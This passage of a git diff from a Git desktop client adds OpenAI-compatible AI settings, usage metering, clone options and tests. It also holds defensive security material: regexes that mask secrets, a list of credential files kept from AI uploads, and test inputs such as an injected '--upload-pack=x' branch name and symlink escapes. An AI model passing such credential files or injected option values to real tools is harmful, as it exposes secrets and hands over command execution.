/^(repos\.(add|watchedFolders\.add|isInWatchedFolder|exclusions\.remove)|app\.(showItemInFolder|openPath|pathExists|isRepository|moveToTrash|openInEditor|openInShell|openDiffTool|openMergeTool)|settings\.(exportToFile|previewImport|import))$/; function field(value: unknown, key: string): unknown { return value !== null && typeof value === 'object' ? Reflect.get(value, key) : undefined; diff --git a/src/server/web-bridge.ts b/src/server/web-bridge.ts index e56b158..1cec782 100644 --- a/src/server/web-bridge.ts +++ b/src/server/web-bridge.ts @@ -109,6 +109,7 @@ export const WEB_BRIDGE_JS = `(function () { // Editor/terminal integrations run on the server's machine: a browser may be elsewhere, so only the desktop client (which blocks them for remote servers) sends them. if (!native && method === 'app.openInEditor') return unsupported('Open in editor is only available in the desktop app.'); if (!native && method === 'app.openInShell') return unsupported('Open in terminal is only available in the desktop app.'); + if (!native && (method === 'app.openDiffTool' || method === 'app.openMergeTool')) return unsupported('External diff and merge tools are only available in the desktop app.'); return httpInvoke(method, args); } window.gitgoodBridge = { diff --git a/src/shared/ai-model.ts b/src/shared/ai-model.ts new file mode 100644 index 0000000..d5d8a78 --- /dev/null +++ b/src/shared/ai-model.ts @@ -0,0 +1,25 @@ +import type { AiFeature, AiSettings, AppSettings, RepositoryInfo } from './types'; + +/** Model for one feature: its non-empty override, else the global model of the active provider. */ +export function modelFor(settings: Pick, feature: AiFeature): string { + const override = settings.featureModels?.[feature]?.trim(); + if (override) return override; + return settings.provider === 'openai-compatible' ? settings.openaiModel : settings.model; +} + +/** True when AI is switched off for this repository, by the local toggle or by `"ai": false` in `.gitgood/config.json`. */ +export function repoAiDisabled(repo: Pick | null | undefined): boolean { + return !!repo && (!!repo.aiDisabled || !!repo.aiConfigOff); +} + +/** AI is usable: a provider is selected and the repository (if any) has not opted out. */ +export function aiEnabled(settings: Pick | null | undefined, repo: Pick | null | undefined): boolean { + return (settings?.ai.provider ?? 'disabled') !== 'disabled' && !repoAiDisabled(repo); +} + +/** Where prompts go, for "this is sent to …" copy. */ +export function aiProviderLabel(ai: Pick | undefined): string { + if (ai?.provider === 'claude-cli') return 'Claude Code'; + if (ai?.provider === 'openai-compatible') return `the AI server at ${ai.openaiBaseUrl || '(no URL set)'}`; + return 'the Anthropic API'; +} diff --git a/src/shared/ipc.ts b/src/shared/ipc.ts index cf76660..060d5b8 100644 --- a/src/shared/ipc.ts +++ b/src/shared/ipc.ts @@ -1,5 +1,7 @@ import type { AddWorktreeOptions, + AiFeature, + AiUsageMonth, AiSettings, AppInfo, AppSettings, @@ -167,6 +169,8 @@ export interface ApiMethods { 'app.settings.get': () => Promise; 'app.settings.set': (patch: Partial) => Promise; 'app.setApiKey': (key: string | null) => Promise; + /** Stores (or with null removes) the OpenAI-compatible provider's API key, encrypted like the Anthropic key. */ + 'app.setOpenaiApiKey': (key: string | null) => Promise; 'app.openExternal': (url: string) => Promise; 'app.showItemInFolder': (path: string) => Promise; 'app.openPath': (path: string) => Promise; @@ -177,6 +181,10 @@ export interface ApiMethods { 'app.shells': () => Promise; 'app.openInEditor': (repoPath: string, filePath: string | null) => Promise; 'app.openInShell': (repoPath: string) => Promise; + /** Starts the configured `diff.tool` on one file (working tree vs HEAD, or a commit vs its parent) without waiting for it to exit. */ + 'app.openDiffTool': (repoPath: string, path: string, source: { kind: 'working' } | { kind: 'commit'; sha: string }) => Promise; + /** Starts the configured `merge.tool` on a conflicted file; repo state is refreshed (`repo.changed`) when the tool exits. */ + 'app.openMergeTool': (repoPath: string, path: string) => Promise; 'app.clipboard.write': (text: string) => Promise; 'app.pathExists': (path: string) => Promise; 'app.isRepository': (path: string) => Promise; @@ -204,7 +212,8 @@ export interface ApiMethods { 'gh.pr.checks': (repoPath: string, number: number) => Promise; 'gh.pr.checkout': (repoPath: string, number: number) => Promise; 'gh.pr.create': (repoPath: string, opts: CreatePullRequestOptions) => Promise<{ url: string | null }>; - 'gh.pr.merge': (repoPath: string, number: number, method: 'merge' | 'squash' | 'rebase', deleteBranch: boolean) => Promise; + 'gh.pr.merge': (repoPath: string, number: number, method: 'merge' | 'squash' | 'rebase', deleteBranch: boolean, auto?: boolean) => Promise; + 'gh.pr.disableAutoMerge': (repoPath: string, number: number) => Promise; 'gh.pr.ready': (repoPath: string, number: number, ready: boolean) => Promise; 'gh.pr.close': (repoPath: string, number: number) => Promise; 'gh.pr.reopen': (repoPath: string, number: number) => Promise; @@ -243,6 +252,10 @@ export interface ApiMethods { 'repos.create': (opts: NewRepositoryOptions) => Promise; 'repos.clone': (opts: CloneOptions) => Promise; 'repos.setAlias': (id: string, alias: string | null) => Promise; + /** Machine-local "Disable AI for this repository" toggle; every `ai.*` call for the repository is then refused in main. */ + 'repos.setAiDisabled': (id: string, disabled: boolean) => Promise; + /** Machine-local per-repository prefs (pin, custom group, commit sign-off); only the fields given are changed. */ + 'repos.setPrefs': (id: string, prefs: Pick) => Promise; 'repos.refreshIndicators': () => Promise; /** Scans every watched folder; resolves with `alreadyRunning` when one is in flight. */ @@ -274,6 +287,9 @@ export interface ApiMethods { 'repo.diff.working': (repoPath: string, path: string, opts: DiffOptions) => Promise; 'repo.diff.stash': (repoPath: string, stashRef: string, path: string, opts: DiffOptions) => Promise; 'repo.diff.range': (repoPath: string, base: string, head: string, path: string, opts: DiffOptions) => Promise; + 'repo.diff.rangeFiles': (repoPath: string, base: string, head: string) => Promise; + /** The repository's `commit.template` as a prefill (comment lines dropped), or null when none is configured/readable. */ + 'repo.commitTemplate': (repoPath: string) => Promise<{ summary: string; description: string } | null>; 'repo.stash.files': (repoPath: string, stashRef: string) => Promise; 'repo.stash.resolveRef': (repoPath: string, sha: string) => Promise; 'repo.compare': (repoPath: string, base: string, head: string) => Promise<{ ahead: Commit[]; behind: Commit[] }>; @@ -386,9 +402,13 @@ export interface ApiMethods { /** Paths of manual resolutions recorded for the repository's current operation, offered as "Resolve remaining like …"; empty once the operation ends. */ 'ai.resolve.examples': (repoPath: string) => Promise; 'ai.resolve.clearExamples': (repoPath: string) => Promise; - 'ai.cancel': () => Promise; + /** Cancels one AI feature's in-flight request. In server mode only a request started by the calling client is affected. */ + 'ai.cancel': (feature: AiFeature) => Promise; + /** Token usage per feature for this month and last month, from the machine-local usage log. */ + 'ai.usage.get': () => Promise; 'ai.test': () => Promise<{ ok: boolean; message: string }>; - 'ai.commitMessage': (repoPath: string, files: string[]) => Promise<{ summary: string; description: string }>; + /** `skipped` lists selected files left out of the request because they look like secrets (`path: reason`). */ + 'ai.commitMessage': (repoPath: string, files: string[]) => Promise<{ summary: string; description: string; skipped: string[] }>; 'ai.review.plan': (repoPath: string, target: ReviewTarget) => Promise; 'ai.review.start': (repoPath: string, target: ReviewTarget, opts?: ReviewStartOptions) => Promise; 'ai.review.get': (repoPath: string, target: ReviewTarget) => Promise; diff --git a/src/shared/secrets.ts b/src/shared/secrets.ts index 600b3b6..6753b40 100644 --- a/src/shared/secrets.ts +++ b/src/shared/secrets.ts @@ -7,15 +7,54 @@ const SECRET_PATTERNS: readonly [RegExp, string][] = [ [/\bghs_[A-Za-z0-9]{20,}\b/g, 'ghs_***'], [/\bghr_[A-Za-z0-9]{20,}\b/g, 'ghr_***'], [/\bsk-ant-[A-Za-z0-9_-]{10,}\b/g, 'sk-ant-***'], + [/\bsk-(?:proj-)?[A-Za-z0-9_-]{20,}\b/g, 'sk-***'], + [/\bAKIA[0-9A-Z]{16}\b/g, 'AKIA***'], [/\bBearer\s+\S+/gi, 'Bearer ***'], [/\bANTHROPIC_API_KEY=\S+/g, 'ANTHROPIC_API_KEY=***'], // URL userinfo, any scheme: https://user:pass@host, ssh://user:pass@host, ... [/([a-zA-Z][a-zA-Z0-9+.-]*:\/\/)[^/\s:@]+:[^/\s:@]+@/g, '$1***:***@'], ]; -/** Masks known secret shapes (GitHub tokens, bearer tokens, URL userinfo, Anthropic API keys). Pure string transform; never throws. */ +/** Masks known secret shapes (GitHub tokens, bearer tokens, URL userinfo, Anthropic/OpenAI API keys, AWS access key ids). Pure string transform; never throws. */ export function scrubSecrets(text: string): string { let out = text; for (const [re, replacement] of SECRET_PATTERNS) out = out.replace(re, replacement); return out; } + +/** `.npmrc` / `.pypirc` only matter when they carry credentials. */ +const CREDENTIAL_ASSIGNMENT = /(?:_auth(?:Token)?|_password|password|token|secret)\s*[=:]/i; + +/** + * Why a file must never be uploaded to an AI provider, or null when it may be. + * Deliberately short and obvious: env files (not `.env.example`-style + * templates), private keys/certificates, SSH identities (not `.pub`), `.netrc`, + * `credentials*.json`, and `.npmrc`/`.pypirc` that hold credentials. For those + * two, `content` (the file or its diff text) decides; without it they are + * treated as holding credentials. + */ +export function secretFileReason(path: string, content?: string): string | null { + const base = path.slice(path.lastIndexOf('/') + 1).toLowerCase(); + if ((base === '.env' || base.startsWith('.env.')) && !/\.(example|sample|template|dist)$/.test(base)) return 'environment file (may contain secrets)'; + if (/\.(pem|key|p12|pfx)$/.test(base)) return 'private key or certificate'; + if (/^id_(rsa|ed25519)/.test(base) && !base.endsWith('.pub')) return 'SSH private key'; + if (base === '.netrc') return 'credentials file'; + if (/^credentials.*\.json$/.test(base)) return 'credentials file'; + if ((base === '.npmrc' || base === '.pypirc') && (content === undefined || CREDENTIAL_ASSIGNMENT.test(content))) return 'registry config with credentials'; + return null; +} + +/** + * Removes the per-file blocks of secret-shaped files (see `secretFileReason`) from a git patch. + * `skipped` lists what was removed as `path: reason`, for showing to the user. + */ +export function dropSecretFilePatches(patch: string): { patch: string; skipped: string[] } { + const skipped: string[] = []; + const kept = patch.split(/(?=^diff --git )/m).filter((block) => { + const m = /^diff --git a\/(.+?) b\/(.+)$/m.exec(block); + const reason = m && secretFileReason(m[2], block); + if (reason) skipped.push(`${m[2]}: ${reason}`); + return !reason; + }); + return { patch: kept.join(''), skipped }; +} diff --git a/src/shared/types.ts b/src/shared/types.ts index fa8b05b..0b0d32a 100644 --- a/src/shared/types.ts +++ b/src/shared/types.ts @@ -6,15 +6,45 @@ export type Theme = 'system' | 'light' | 'dark'; export type DiffViewMode = 'unified' | 'split'; export type EffortLevel = 'low' | 'medium' | 'high' | 'xhigh' | 'max'; +/** The AI features that can run (and be cancelled / metered) independently. */ +export type AiFeature = 'resolver' | 'commitMessage' | 'review' | 'split' | 'triage' | 'prDraft' | 'rebase' | 'releaseNotes' | 'explain' | 'errorExplain' | 'nlPalette'; + +/** Token usage reported by a backend for one request; `costUsd` only when the backend itself reports it. */ +export interface AiUsage { + inputTokens: number; + outputTokens: number; + cacheReadTokens: number; + cacheWriteTokens: number; + costUsd: number | null; +} + +/** Per-feature totals for one calendar month (machine-local; see ai/usage.ts). */ +export interface AiUsageTotals extends AiUsage { + requests: number; +} + +export interface AiUsageMonth { + /** `YYYY-MM` (local time). */ + month: string; + features: Partial>; +} export type PullBehavior = 'git-config' | 'merge' | 'rebase'; export type UncommittedChangesStrategy = 'ask' | 'stash' | 'move'; export type UpdateChannel = 'stable' | 'beta'; export interface AiSettings { - /** Which backend performs AI conflict resolution. */ - provider: 'anthropic' | 'claude-cli' | 'disabled'; + /** Which backend performs AI features. 'openai-compatible' talks to any OpenAI-style `/chat/completions` server (see `openaiBaseUrl`). */ + provider: 'anthropic' | 'claude-cli' | 'openai-compatible' | 'disabled'; /** Anthropic model ID used by the API backend, or a model alias for the CLI backend. */ model: string; + /** Base URL of the OpenAI-compatible server including any version path, e.g. `https://api.openai.com/v1` or `http://localhost:11434/v1`. Portable. */ + openaiBaseUrl: string; + /** Model name sent to the OpenAI-compatible server. Portable. */ + openaiModel: string; + /** True when an OpenAI-compatible API key has been stored (the key itself never crosses IPC and is never exported). */ + hasOpenaiApiKey: boolean; + /** Optional per-feature model overrides; a missing/empty entry uses the global model of the active provider (see `modelFor`). */ + featureModels: Partial>; effort: EffortLevel; /** True when an API key has been stored (the key itself never crosses IPC). */ hasApiKey: boolean; @@ -258,6 +288,16 @@ export interface RepositoryInfo { * hand keeps 'manual' even when a scan later finds it in a watched folder. */ origin?: 'manual' | 'watched'; + /** Machine-local "Disable AI for this repository" choice. Not part of a settings export. */ + aiDisabled?: boolean; + /** Set (not persisted) when the repository's `.gitgood/config.json` says `"ai": false`; filled in by `repo.open`. */ + aiConfigOff?: boolean; + /** Machine-local: pinned to the top of the repository list. */ + pinned?: boolean; + /** Machine-local custom group (shown before the owner groups in the repository list); absent/null = no custom group. */ + group?: string | null; + /** Machine-local: add a `Signed-off-by` trailer (`git commit --signoff`) to commits in this repository. */ + signoff?: boolean; } /** `RepositoryInfo.origin` with the default applied: entries written before watched folders existed are manual. */ @@ -681,6 +721,8 @@ export interface PullRequest { changedFiles: number | null; mergeable: string | null; mergeStateStatus: string | null; + /** Auto-merge enabled on this pull request (gh `autoMergeRequest`); null when off or when gh does not report it. `method` is null if gh reports an unrecognised method. */ + autoMerge: { method: 'merge' | 'squash' | 'rebase' | null; enabledBy: string | null } | null; labels: string[]; assignees: string[]; reviewRequests: string[]; @@ -719,6 +761,9 @@ export interface ToolInfo { version: string | null; path: string | null; error: string | null; + /** Set when the installed version is below the supported minimum (still usable; the UI only warns). */ + outdated?: boolean; + minVersion?: string; } export interface ToolsState { @@ -982,6 +1027,10 @@ export interface CommitOptions { partialPatches: Record; /** 'default' follows the repository's signing configuration; 'sign' forces -S; 'unsigned' forces --no-gpg-sign for this commit only (never persisted). */ signOverride?: 'default' | 'sign' | 'unsigned'; + /** `--signoff`: add a Signed-off-by trailer. */ + signoff?: boolean; + /** `--no-verify`: skip the pre-commit and commit-msg hooks for this commit only. */ + noVerify?: boolean; } // --------------------------------------------------------------------------- @@ -1107,6 +1156,16 @@ export interface CloneOptions { directory: string; /** Branch to check out after cloning, optional. */ branch: string | null; + /** Shallow clone with this many commits of history (`--depth`); null/absent = full history. */ + depth?: number | null; + /** Fetch only the history of one branch (`--single-branch`); a shallow clone (`depth`) already does. */ + singleBranch?: boolean; + /** Blobless partial clone (`--filter=blob:none`): file contents are fetched on demand. */ + blobless?: boolean; + /** Cone-mode sparse checkout: only these directories (plus top-level files) are checked out. */ + sparse?: string[]; + /** Clone submodules too (`--recurse-submodules`). Defaults to true when absent. */ + submodules?: boolean; } export interface NewRepositoryOptions { @@ -1380,6 +1439,8 @@ export interface PrDraft { truncated: boolean; /** True when the model's body did not preserve the template's headings and the body was rebuilt around them. */ restored: boolean; + /** Files left out of the request because they look like secrets (`path: reason`). */ + skipped: string[]; model: string; } @@ -1734,8 +1795,8 @@ export interface Housekeeping { export type SettingsSection = 'preferences' | 'repositories' | 'integrations'; -/** Fields of AppSettings['ai'] that are safe to export: never the stored-key flag, the CLI path or the custom agent command (machine-specific or runs a shell command). */ -export type PortableAiSettings = Pick; +/** Fields of AppSettings['ai'] that are safe to export: never the stored-key flags, the CLI path or the custom agent command (machine-specific or runs a shell command). API keys are never exported. */ +export type PortableAiSettings = Pick; /** * Explicit allowlist of AppSettings fields that may leave the machine (a @@ -1888,6 +1949,10 @@ export const DEFAULT_SETTINGS: AppSettings = { model: 'claude-opus-5', effort: 'high', hasApiKey: false, + openaiBaseUrl: '', + openaiModel: '', + hasOpenaiApiKey: false, + featureModels: {}, claudeCliPath: null, autoStageAfterResolve: true, reviewStrictness: 'strict', diff --git a/src/shared/util.ts b/src/shared/util.ts index 2db274c..12bc638 100644 --- a/src/shared/util.ts +++ b/src/shared/util.ts @@ -574,6 +574,9 @@ export function explanationToMarkdown(explanation: Explanation, target: ExplainT /** AI-drafted footer appended to a pull request body only at create time (see the ai-pr-description spec's "Attribution and no automatic submission"). */ export const PR_DRAFT_FOOTER = '_Drafted with AI in GitGood; reviewed before creating._'; +/** Oldest git/gh the app supports (README requirements); older tools still run, they're only flagged (see src/main/tools.ts). */ +export const MIN_TOOL_VERSIONS = { git: '2.30.0', gh: '2.40.0' } as const; + /** AI-drafted footer appended to a release body only when it is published to GitHub (see the add-ai-release-notes spec). */ export const RELEASE_NOTES_FOOTER = '_Drafted with AI in GitGood; reviewed before publishing._'; diff --git a/test/ai-model.test.ts b/test/ai-model.test.ts new file mode 100644 index 0000000..13389a7 --- /dev/null +++ b/test/ai-model.test.ts @@ -0,0 +1,39 @@ +import { describe, expect, it } from 'vitest'; +import { aiEnabled, modelFor, repoAiDisabled } from '../src/shared/ai-model'; +import { DEFAULT_SETTINGS } from '../src/shared/types'; + +const ai = { ...DEFAULT_SETTINGS.ai, model: 'claude-opus-5', openaiModel: 'gpt-x' }; + +describe('modelFor', () => { + it('uses the global model when a feature has no override or a blank one', () => { + expect(modelFor(ai, 'review')).toBe('claude-opus-5'); + expect(modelFor({ ...ai, featureModels: { review: ' ' } }, 'review')).toBe('claude-opus-5'); + }); + + it('uses the feature override, only for that feature', () => { + const settings = { ...ai, featureModels: { commitMessage: 'claude-haiku-4-5' } }; + expect(modelFor(settings, 'commitMessage')).toBe('claude-haiku-4-5'); + expect(modelFor(settings, 'review')).toBe('claude-opus-5'); + }); + + it('falls back to the OpenAI-compatible model on that provider', () => { + expect(modelFor({ ...ai, provider: 'openai-compatible' }, 'explain')).toBe('gpt-x'); + expect(modelFor({ ...ai, provider: 'openai-compatible', featureModels: { explain: 'small' } }, 'explain')).toBe('small'); + }); +}); + +describe('per-repository AI opt-out', () => { + it('is off for either the local toggle or the config-file flag', () => { + expect(repoAiDisabled({ aiDisabled: true })).toBe(true); + expect(repoAiDisabled({ aiConfigOff: true })).toBe(true); + expect(repoAiDisabled({})).toBe(false); + expect(repoAiDisabled(null)).toBe(false); + }); + + it('aiEnabled needs a provider and an opted-in repository', () => { + expect(aiEnabled({ ai }, { })).toBe(true); + expect(aiEnabled({ ai }, { aiDisabled: true })).toBe(false); + expect(aiEnabled({ ai: { ...ai, provider: 'disabled' } }, {})).toBe(false); + expect(aiEnabled(null, {})).toBe(false); + }); +}); diff --git a/test/ai-usage-cancel.test.ts b/test/ai-usage-cancel.test.ts new file mode 100644 index 0000000..8ef61e7 --- /dev/null +++ b/test/ai-usage-cancel.test.ts @@ -0,0 +1,143 @@ +import { mkdir, mkdtemp, readFile, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { buildAnthropicParams } from '../src/main/ai/backends'; +import { addUsage, configureUsage, readUsage, recordUsage, type UsageLog } from '../src/main/ai/usage'; +import { writeRepoFile } from '../src/main/repo/paths'; +import { cancelOwned, clientContext, ownedController } from '../src/main/core/client-context'; +import { createHandlers, type HandlerDeps } from '../src/main/core/handlers'; + +const u = (input: number, output: number, cacheRead = 0, cacheWrite = 0, costUsd: number | null = null) => ({ inputTokens: input, outputTokens: output, cacheReadTokens: cacheRead, cacheWriteTokens: cacheWrite, costUsd }); + +describe('addUsage', () => { + it('merges per month and feature, and keeps cost null until a backend reports one', () => { + let log: UsageLog = {}; + log = addUsage(log, '2026-10', 'review', u(100, 10, 50, 5)); + log = addUsage(log, '2026-10', 'review', u(200, 20, 0, 0)); + log = addUsage(log, '2026-10', 'explain', u(1, 1)); + log = addUsage(log, '2026-09', 'review', u(7, 7, 0, 0, 0.5)); + expect(log['2026-10']?.review).toEqual({ requests: 2, inputTokens: 300, outputTokens: 30, cacheReadTokens: 50, cacheWriteTokens: 5, costUsd: null }); + expect(log['2026-10']?.explain?.requests).toBe(1); + expect(log['2026-09']?.review?.costUsd).toBe(0.5); + log = addUsage(log, '2026-09', 'review', u(1, 1)); // a later request without a reported cost does not erase the sum + expect(log['2026-09']?.review).toMatchObject({ requests: 2, costUsd: 0.5 }); + }); +}); + +describe('usage file', () => { + let dir: string; + beforeEach(async () => { + dir = await mkdtemp(join(tmpdir(), 'gg-usage-')); + configureUsage(dir); + }); + afterEach(() => rm(dir, { recursive: true, force: true })); + + it('accumulates across calls, reports this and last month, and ignores requests without usage', async () => { + const now = new Date(2026, 0, 15); + await recordUsage('review', u(10, 1), new Date(2025, 11, 31)); + await recordUsage('review', u(20, 2), now); + await recordUsage('review', u(5, 5), now); + await recordUsage('triage', undefined, now); + const [thisMonth, lastMonth] = await readUsage(now); + expect(thisMonth).toMatchObject({ month: '2026-01', features: { review: { requests: 2, inputTokens: 25 } } }); + expect(Object.keys(thisMonth.features)).toEqual(['review']); + expect(lastMonth).toMatchObject({ month: '2025-12', features: { review: { requests: 1, inputTokens: 10 } } }); + expect(JSON.parse(await readFile(join(dir, 'ai-usage.json'), 'utf8'))['2026-01'].review.requests).toBe(2); + }); +}); + +describe('buildAnthropicParams', () => { + const base = { system: 'sys', prompt: 'file part', schema: {}, model: 'claude-sonnet-4-5', effort: 'medium' as const }; + + it('marks the system prompt for caching', () => { + const p = buildAnthropicParams(base); + expect(p.system).toEqual([{ type: 'text', text: 'sys', cache_control: { type: 'ephemeral' } }]); + expect(p.messages[0].content).toBe('file part'); + }); + + it('sends the shared context as a cached leading block before the per-file part, keeping the text identical', () => { + const p = buildAnthropicParams({ ...base, sharedPrompt: 'PR context' }); + const content = p.messages[0].content as { text: string; cache_control?: unknown }[]; + expect(content.map((b) => b.text).join('')).toBe('PR context\n\nfile part'); + expect(content[0].cache_control).toEqual({ type: 'ephemeral' }); + expect(content[1].cache_control).toBeUndefined(); + }); +}); + +describe('ai.cancel', () => { + const services = () => ({ + resolver: { cancel: vi.fn() }, + review: { cancel: vi.fn() }, + splitter: { cancel: vi.fn() }, + triage: { cancel: vi.fn() }, + prDraft: { cancel: vi.fn() }, + rebasePlan: { cancel: vi.fn() }, + releaseNotes: { cancel: vi.fn() }, + explain: { cancel: vi.fn() }, + errorExplain: { cancel: vi.fn() }, + nlPalette: { cancel: vi.fn(), setDispatcher: () => undefined }, + }); + + it('cancels only the named feature', async () => { + const deps = services(); + const { handlers } = createHandlers(deps as unknown as HandlerDeps); + await handlers['ai.cancel']('triage'); + await handlers['ai.cancel']('commitMessage'); + expect(deps.triage.cancel).toHaveBeenCalledTimes(1); + expect(deps.resolver.cancel).toHaveBeenCalledWith('commitMessage'); + expect(deps.review.cancel).not.toHaveBeenCalled(); + expect(deps.explain.cancel).not.toHaveBeenCalled(); + expect(deps.nlPalette.cancel).not.toHaveBeenCalled(); + }); + + it("does not abort another client's job", () => { + const a = clientContext.run('a', () => ownedController()); + const b = clientContext.run('b', () => ownedController()); + expect(clientContext.run('a', () => cancelOwned(b))).toBe(false); + expect(b.signal.aborted).toBe(false); + expect(clientContext.run('b', () => cancelOwned(b))).toBe(true); + expect(b.signal.aborted).toBe(true); + expect(a.signal.aborted).toBe(false); + expect(cancelOwned(null)).toBe(false); + }); +}); + +describe.skipIf(process.platform === 'win32')('writeRepoFile', () => { + it('writes inside the repo but never through a symlink that points outside', async () => { + const dir = await mkdtemp(join(tmpdir(), 'gg-write-')); + try { + const repo = join(dir, 'repo'); + const outside = join(dir, 'outside.txt'); + await mkdir(join(repo, 'sub'), { recursive: true }); + await writeFile(outside, 'secret'); + await symlink(outside, join(repo, 'link.txt')); + await symlink(dir, join(repo, 'dirlink')); + await writeRepoFile(repo, 'sub/a.txt', 'ok'); + expect(await readFile(join(repo, 'sub/a.txt'), 'utf8')).toBe('ok'); + await expect(writeRepoFile(repo, 'link.txt', 'pwn')).rejects.toThrow(/symbolic link/); + await expect(writeRepoFile(repo, 'dirlink/new.txt', 'pwn')).rejects.toThrow(); + expect(await readFile(outside, 'utf8')).toBe('secret'); + } finally { + await rm(dir, { recursive: true, force: true }); + } + }); + + it('repo.readFile / repo.writeFile handlers refuse a symlinked leaf', async () => { + const dir = await mkdtemp(join(tmpdir(), 'gg-rw-')); + try { + const repo = join(dir, 'repo'); + await mkdir(repo, { recursive: true }); + await writeFile(join(dir, 'outside.txt'), 'secret'); + await symlink(join(dir, 'outside.txt'), join(repo, 'link.txt')); + await writeFile(join(repo, 'plain.txt'), 'hi'); + const { handlers } = createHandlers({ nlPalette: { setDispatcher: () => undefined } } as unknown as HandlerDeps); + expect(await handlers['repo.readFile'](repo, 'plain.txt')).toBe('hi'); + await expect(handlers['repo.readFile'](repo, 'link.txt')).rejects.toThrow(); + await expect(handlers['repo.writeFile'](repo, 'link.txt', 'pwn')).rejects.toThrow(/symbolic link/); + expect(await readFile(join(dir, 'outside.txt'), 'utf8')).toBe('secret'); + } finally { + await rm(dir, { recursive: true, force: true }); + } + }); +}); diff --git a/test/argv.test.ts b/test/argv.test.ts new file mode 100644 index 0000000..c38f1e1 --- /dev/null +++ b/test/argv.test.ts @@ -0,0 +1,32 @@ +import { resolve } from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { pathFromArgv } from '../src/main/argv'; + +const dirs = new Set([resolve('/work/app'), resolve('/home/u/proj'), resolve('/gg')]); +const isDirectory = (p: string) => dirs.has(p); +const pick = (argv: string[], defaultApp = false, cwd = '/work') => pathFromArgv(argv, { defaultApp, cwd, isDirectory }); + +describe('pathFromArgv', () => { + it('opens a directory passed to a packaged app (relative paths resolve against cwd)', () => { + expect(pick(['/opt/GitGood/gitgood', '/home/u/proj'])).toBe(resolve('/home/u/proj')); + expect(pick(['C:\\Program Files\\GitGood\\GitGood.exe', 'app'], false, '/work')).toBe(resolve('/work/app')); + }); + + it('does not treat the dev app path (`electron .`) as a repository, but takes the path after it', () => { + expect(pick(['/node_modules/electron/dist/electron', '/gg'], true)).toBeNull(); + expect(pick(['/node_modules/electron/dist/electron', '/gg', '/home/u/proj'], true)).toBe(resolve('/home/u/proj')); + expect(pick(['/node_modules/electron/dist/electron', '--inspect=9229', '/gg', '--no-sandbox'], true)).toBeNull(); + }); + + it('ignores flags, the background-server flag, protocol links and missing paths (AppImage argv)', () => { + expect(pick(['/tmp/.mount_GitGoodAbc/gitgood', '--no-sandbox'])).toBeNull(); + expect(pick(['/tmp/.mount_GitGoodAbc/gitgood', '--gitgood-server'])).toBeNull(); + expect(pick(['/tmp/.mount_GitGoodAbc/gitgood', 'gitgood://openRepo/https://github.com/o/r'])).toBeNull(); + expect(pick(['/tmp/.mount_GitGoodAbc/gitgood', '/nope', '/home/u/proj'])).toBe(resolve('/home/u/proj')); + expect(pick(['/tmp/.mount_GitGoodAbc/gitgood', '--no-sandbox', '/home/u/proj'])).toBe(resolve('/home/u/proj')); + }); + + it('never treats the executable itself as a path', () => { + expect(pick(['/home/u/proj'])).toBeNull(); + }); +}); diff --git a/test/clone-args.test.ts b/test/clone-args.test.ts new file mode 100644 index 0000000..7c9bd5e --- /dev/null +++ b/test/clone-args.test.ts @@ -0,0 +1,35 @@ +import { describe, expect, it } from 'vitest'; +import { cloneArgs, normalizeSparseDirs } from '../src/main/git/operations'; + +const base = { branch: null }; + +describe('cloneArgs', () => { + it('keeps submodules on by default, matching the previous behaviour', () => { + expect(cloneArgs('u', 'd', base)).toEqual(['clone', '--progress', '--recurse-submodules', '--', 'u', 'd']); + expect(cloneArgs('u', 'd', { ...base, submodules: false })).toEqual(['clone', '--progress', '--', 'u', 'd']); + }); + + it('builds a shallow, blobless, sparse clone and shallows submodules too', () => { + expect(cloneArgs('u', 'd', { branch: 'dev', depth: 1, blobless: true, sparse: ['src'] })).toEqual([ + 'clone', '--progress', '--recurse-submodules', '--branch', 'dev', '--depth', '1', '--shallow-submodules', '--filter=blob:none', '--sparse', '--', 'u', 'd', + ]); + }); + + it('adds --single-branch only when asked and rejects a bad depth or option-like branch', () => { + expect(cloneArgs('u', 'd', { ...base, singleBranch: true, submodules: false })).toContain('--single-branch'); + expect(() => cloneArgs('u', 'd', { ...base, depth: 0 })).toThrow(/depth/); + expect(() => cloneArgs('u', 'd', { ...base, depth: 1.5 })).toThrow(/depth/); + expect(() => cloneArgs('u', 'd', { branch: '--upload-pack=x' })).toThrow(/must not start/); + }); +}); + +describe('normalizeSparseDirs', () => { + it('normalizes separators, strips ./ and trailing slashes, and de-duplicates', () => { + expect(normalizeSparseDirs([' ./src/ ', 'docs\\guides', '/src', ''])).toEqual(['src', 'docs/guides']); + }); + + it('refuses option-like and escaping entries', () => { + expect(() => normalizeSparseDirs(['--foo'])).toThrow(/not a valid/); + expect(() => normalizeSparseDirs(['a/../../b'])).toThrow(/not a valid/); + }); +}); diff --git a/test/fixture/git-commit-options.test.ts b/test/fixture/git-commit-options.test.ts new file mode 100644 index 0000000..6ce7513 --- /dev/null +++ b/test/fixture/git-commit-options.test.ts @@ -0,0 +1,81 @@ +import { chmod, writeFile } from 'node:fs/promises'; +import { join } from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { commitFlags, createCommit, readCommitTemplate } from '../../src/main/git/commit'; +import { getRangeFiles } from '../../src/main/git/diff'; +import { GitClient } from '../../src/main/git/git'; +import { createRepo, hasGitSync } from '../helpers/repo'; + +const opts = { summary: 'change', description: '', coAuthors: [], amend: false, files: ['a.txt'], partialPatches: {} }; + +describe('commitFlags', () => { + it('combines signing override, sign-off and skip-hooks', () => { + expect(commitFlags({})).toEqual([]); + expect(commitFlags({ signOverride: 'unsigned', signoff: true, noVerify: true })).toEqual(['--no-gpg-sign', '--signoff', '--no-verify']); + expect(commitFlags({ signOverride: 'sign' })).toEqual(['-S']); + }); +}); + +describe.skipIf(!hasGitSync())('commit options against real git', () => { + it('adds Signed-off-by with signoff and bypasses a failing pre-commit hook with noVerify', async () => { + const repo = await createRepo({ commits: [{ message: 'init', files: { 'a.txt': '1\n' } }] }); + try { + const hook = join(repo.path, '.git', 'hooks', 'pre-commit'); + await writeFile(hook, '#!/bin/sh\necho blocked >&2\nexit 1\n'); + await chmod(hook, 0o755); + const git = new GitClient(repo.tools()); + await repo.write('a.txt', '2\n'); + await expect(createCommit(git, repo.path, { ...opts, signoff: true }, false)).rejects.toThrow(); + await createCommit(git, repo.path, { ...opts, signoff: true, noVerify: true }, false); + expect(repo.git(['log', '-1', '--format=%B'])).toContain('Signed-off-by: Test User '); + await repo.write('a.txt', '3\n'); + await 